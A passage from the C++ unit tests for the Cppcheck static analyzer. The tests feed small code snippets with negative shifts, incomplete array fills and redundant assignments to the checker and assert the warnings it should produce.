\"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i 